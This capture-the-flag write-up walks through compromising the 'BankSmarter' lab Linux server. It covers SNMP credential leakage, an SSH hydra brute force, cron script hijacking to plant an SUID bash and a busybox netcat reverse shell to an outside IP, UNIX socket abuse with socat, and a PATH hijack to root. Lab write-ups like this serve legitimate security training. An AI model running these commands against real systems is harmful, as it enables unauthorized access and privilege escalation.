> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/banksmarter.md). # BankSmarter {% embed url="" %} The following post by 0xb0b is licensed under [CC BY 4.0](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1) *** ## Scenario You are a senior operator on the Hack Smarter Red Team, tasked with a penetration test against a standalone Linux server. Your objective is to gain initial access and escalate privileges to root, emulating a worst-case scenario where a threat actor successfully compromises a critical asset. You have been given the IP address of the target server and your mission is to gain a foothold, escalate to the **root** user, and retrieve the final flag from the `/root/` directory. ## Recon We start with a rustscan followed by services and default script scan, but we only find port `22` SSH. Strange. ``` rustscan -a 10.0.17.247 -- -sC -sV ```
## Shell as stanley.layne While the Nmap UDP scan is running we use Snmpwalk. Snmpwalk can be used query information from devices and systems that support **SNMP** Simple Network Management Protocol. It essentiallywalks through a portion of the **MIB** Management Information Base tree. With the following command we'll querie the host `10.0.17.247` over SNMPv2c using the community string `public` and recursively retrieves all available SNMP objects and their values. And right at the beginning, we find credentials. ``` snmpwalk -c public -v 2c 10.0.17.247 ```
``` Admin Layne.Stanley:REDACTED ``` We craft a user and a password list with minor changes: ``` Layne Stanley Layne.Stanley layne.stanley lstanley stanleyl admin administrator ubuntu ip-10-0-17-247 ``` Next, we use hydra to try the users and passwords derived from the found credentials on the open SSH service. We are successful. ``` hydra -L users.txt -P passwords.txt 10.0.17.247 ssh -I ```
We log in with the credentials and find the first flag in the users home directory. Furthermore there seems to be a backup script called `bankSmarter_backup.sh`.
## Shell as scott.weiland ### Enumeration We start enumeration on the target machine. We'll find a bank directory in `/opt/bank`. This is owned by root and the group `bank-team` has execution permissions.
In `/tmp/` we'll find the folder `bank_exports`. Owned by `scott.weiland`. Something seems to be running in the background to create a backup.
We use pspy64 to detect services and cron jobs running in the background.
We see that the user with UID `1003` is running the script `/opt/bank/pty_server.py`.
Furthermore, we find the backup job running by user with UID `1002`. It's running the script we found in the home directory of `layne.stanley`.
Here is the excerpt of the `/etc/passwd` for the resolution of the ids.
The lateral movement path appears to be as follows: `1002-> 1003-> root` ### Script Hijacking We only have `read` permission to the script `bankSmarter_backup.sh`, and it is owned by `scott.weiland`. But it is in the home directory of our current user. We can simply delete and replace it, since it is in our directory we own.
We remove the script ``` rm bankSmarter_backup.sh ```
And replace the script with the following. ``` #!/bin/bash cp /bin/bash /tmp/bash; chmod 755 /tmp/bash; chmod u+s /tmp/bash; layne.stanley@ip-10-0-17-247:~$ chmod +x bankSmarter_backup.sh ``` ``` echo '#!/bin/bash' > bankSmarter_backup.sh echo 'cp /bin/bash /tmp/bash;' >> bankSmarter_backup.sh echo 'chmod 755 /tmp/bash;' >> bankSmarter_backup.sh echo 'chmod u+s /tmp/bash;' >> bankSmarter_backup.sh ``` This will copy a `SUID` bash binary to `/tmp` owned by scott weiland.
We can use this to get a shell as `scott.weiland`. But we later discover that this shell is not sufficient. We do not have the permission to run the command we'll find in the `.bash_history` and are not able to. We are still `layne.stanley` but with the effective userid euid of `scott.weiland`. But cheking the memberships of scott.weiland with `id scott.weiland` we see what we are missing. ``` ./bash -p ```
But we'll find the execution of the following command `socat stdio unix-connect:/opt/bank/sockets/live.sock` that seems to be related to the pty script we found in the pspy64 output. This is a connection to a local UNIX domain socket under `/opt/bank.`Maybe we can escalate that way to `ronnie.stone`.
Since we want a more interactive shell with all the groups set, we replace the `bankSmarter_backup.sh` script again and set up a reverse shell using busybox. ``` #!/bin/bash busybox nc 10.200.1.17 4445 -e /bin/bash ```
At this point, I would like to introduce the Penelope tool, which is a reverse shell catcher that automatically upgrades the shell. This tool was introduced to me by TheCyberSimon just recently - Thank you very much! {% embed url="" %} > Penelope is a powerful shell handler built as a modern netcat replacement for RCE exploitation, aiming to simplify, accelerate, and optimize post-exploitation workflows. We run our listener using `penelope` and catch the reverse shell. We are `scott.weiland`. And also in the group of `ronnie.stone`. ``` python penelope.py -p 4445 ```
In the bash history of `scott.weiland` we found find the following line: ``` socat stdio unix-connect:/opt/bank/sockets/live.sock ``` * That socket could belong to Ronnie’s processes. * If `scott` can connect and send commands, it may impersonate `ronnie`. ## Shell as ronnie.stone We are now able to read the contents of `/opt/bank`.
### Unix Domain Socket Abuse - Socat Hijack And we are also able to run the follwing line and get a shell as `ronnie.stone`. That user ist in the group `bank-team` and `bankers`. ``` socat stdio unix-connect:/opt/bank/sockets/live.sock ```
## Shell as root We find the following executable `/usr/local/bin/bank_backupd`with execute permissions for `bankers`. This is also a `SUID` binary. So the execution runs as the owner which is in this case `root`. * **Owner**: `root` * **Group**: `bankers` * **Permissions**: `4750` → SUID (`s` on user), only root can own, and group `bankers` can execute. ``` find / -group bankers -ls 2>/dev/null ```
By running the binary `/usr/local/bin/bank_backupd` we see it is running `bank_backup.py` internally. ``` /usr/local/bin/bank_backupd ```
We look for `bank_backup.py`. We find it at `/usr/local/bin/bank_backup.py.` ``` find / -name bank_backup.py 2>/dev/null ```
### **PATH Hijack** in a SUID-root Binary We do not have `write` permission, but we can inspect it. ``` ls -lah /usr/local/bin/bank_backup.py ```
The following Shebang stands out `#!/usr/bin/env python3`. Which in short translates to: 'Use whatever `python3` binary is first found in the `$PATH` environment variable.*'*\ Since the script is launched with `#!/usr/bin/env python3`, the SUID binary may just call `system("python3 /usr/local/bin/bank_backup.py").` {% code title="bank\_backup.py" overflow="wrap" lineNumbers="true" %} ``` cat /usr/local/bin/bank_backup.py #!/usr/bin/env python3 import hashlib, time, os print("[bank_backup.py] Running internal Python verification...") time.sleep(1) print("[bank_backup.py] Hashing account transactions...") # Fake hash calculation print(hashlib.sha256(b"transaction data").hexdigest()) print("[bank_backup.py] Backup completed successfully.") ``` {% endcode %} Idea: `bank_backupd` just calls `python3` (no absolute path). We drop a fake `python3` in `/tmp` that spawns `/bin/bash -p` And then we'll run `PATH=/tmp:$PATH /usr/local/bin/bank_backupd`. We preapre the `python3` script... ``` echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/python3 ``` ``` chmod +x /tmp/python3 ``` ... and run the following: ``` PATH=/tmp:$PATH /usr/local/bin/bank_backupd ``` We get a root shell!
And find the final flag at `/root/root.txt`.